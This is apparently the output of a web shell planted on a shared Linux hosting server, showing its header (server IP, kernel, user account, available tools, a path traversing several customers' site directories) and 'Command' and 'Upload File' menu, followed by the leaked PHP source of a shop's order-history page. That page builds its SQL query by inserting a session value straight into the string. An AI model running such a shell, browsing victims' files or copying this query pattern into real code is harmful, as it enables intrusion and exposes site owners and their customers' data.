Server IP : 103.53.40.154 / Your IP : 3.15.17.60 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/asinteriors.in/../www/../comfortaircon.co/../deergham.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); if(!isset($_SESSION["user"]) OR $_SESSION["user"] == "" ){ header('location:login.php'); } require_once('admin/config.php'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Shoping Details | Deergham</title> <meta name="description" content="Shoping Details | Deergham"> <?php include "top-links.php" ?> <style> /* its for responsive slider */ #cart{ overflow-x: auto; } #cart table{ width: 100%; border-collapse: collapse; table-layout: fixed; white-space: nowrap; } #cart table img{ width: 70px; } #cart table td:nth-child(1){ width: 100px; text-align: center; } #cart table td:nth-child(2){ width: 150px; text-align: center; } #cart table td:nth-child(3){ width: 250px; text-align: center; } #cart table td:nth-child(4), #cart table td:nth-child(5), #cart table td:nth-child(6){ width: 150px; text-align: center; } #cart table td:nth-child(5) input{ width: 70px; padding: 10px 5px 10px 15px; outline: none; } #cart table thead{ border: 1px solid #e2e9e1; border-left: none; border-right: none; } #cart table thead td{ font-weight: 700; text-transform: uppercase; font-size: 13px; padding: 18px 0; } #cart table tbody tr td{ border: 1px solid #e2e9e1; padding-top: 15px; } #cart table tbody td{ font-size: 13px; } #cart-add{ display: flex; flex-wrap: wrap; justify-content: space-between; } #coupon{ width: 50%; margin-bottom: 30px; } #coupon h3, #subtotal h3{ padding-bottom: 15px; } #coupon input{ padding: 16px 20px ; outline: none; width: 60%; margin-right: 10px; border: 1px solid #e2e9e1; } #coupon button{ background-color: #088178; color: #fff; padding: 12px 20px; } #subtotal{ width: 50%; margin-bottom: 30px; border: 1px solid #e2e9e1; padding: 30px; } #subtotal table{ border-collapse: collapse; width: 100%; margin-bottom: 20px; } #subtotal table td{ width: 50%; border: 1px solid #e2e9e1; padding: 10px; font-size: 13px; } #subtotal button{ color: #fff; background-color: #088178; } </style> </head> <body> <?php include "header.php" ?> <header class="page"> <div class="page_main container-fluid"> <div class="container"> <h1 class="page_header">Shoping Details</h1> </div> </div> <div class="container"> <ul class="page_breadcrumbs d-flex flex-wrap"> <li class="page_breadcrumbs-item"><a class="link" href="<?= $wspath ?>">Home</a></li> <li class="page_breadcrumbs-item current"><span>Shoping Details</span></li> </ul> </div> </header> <!----------- Now we re on cart section ---------- --> <section id="cart" class="section-p1" style="margin-bottom:40px;"> <table width="100%"> <thead> <tr> <td>S. No.</td> <!--<td>Images</td>--> <td>Products</td> <td>Price</td> <td>Quantity</td> <td>Date</td> </tr> </thead> <tbody> <?php $user_id = $_SESSION['user']['cus_id']; $sql = "SELECT * FROM `tbl_booking` WHERE `book_by` = '$user_id' ORDER BY book_id DESC"; $run = mysqli_query($db,$sql) or die("Query Not run"); $count=0; while($data = mysqli_fetch_assoc($run)){ if(mysqli_num_rows($run) > 0){ $count++; $formattedDate = date('d-m-Y', strtotime($data['date_time'])); ?> <tr> <td><?php echo $count;?></td> <!--<td><img src="img/products/f1.jpg" alt=""></td>--> <td><?php echo $data['booking_for']?></td> <td><?php echo $data['booking_rate']?></td> <td><?php echo $data['quantities']?></td> <td><?php echo $formattedDate;?></td> </tr> <?php } } ?> </tbody> </table> </section> <!---------- Now we are cart add section -------- --> <!--<section id="cart-add" class="section-p1">--> <!-- <div id="coupon">--> <!-- <h3>Apply Coupon</h3>--> <!-- <div>--> <!-- <input type="text" placeholder="Enter Your Coupon">--> <!-- <button class="btn">Apply</button>--> <!-- </div>--> <!-- </div>--> <!-- <div id="subtotal">--> <!-- <h3>Cart Totals</h3>--> <!-- <table>--> <!-- <tr>--> <!-- <td>Cart Subtotal</td>--> <!-- <td>$ 335</td>--> <!-- </tr>--> <!-- <tr>--> <!-- <td>Shipping</td>--> <!-- <td>Free</td>--> <!-- </tr>--> <!-- <tr>--> <!-- <td><strong>Total</strong></td>--> <!-- <td><strong>$ 335</strong></td>--> <!-- </tr>--> <!-- </table>--> <!-- <button class="btn">Proceed to Checkout</button>--> <!-- </div>--> <!--</section>--> <!------------- Now we are Reached at Footer ------- --> <?php include "footer.php" ?> </body> </html>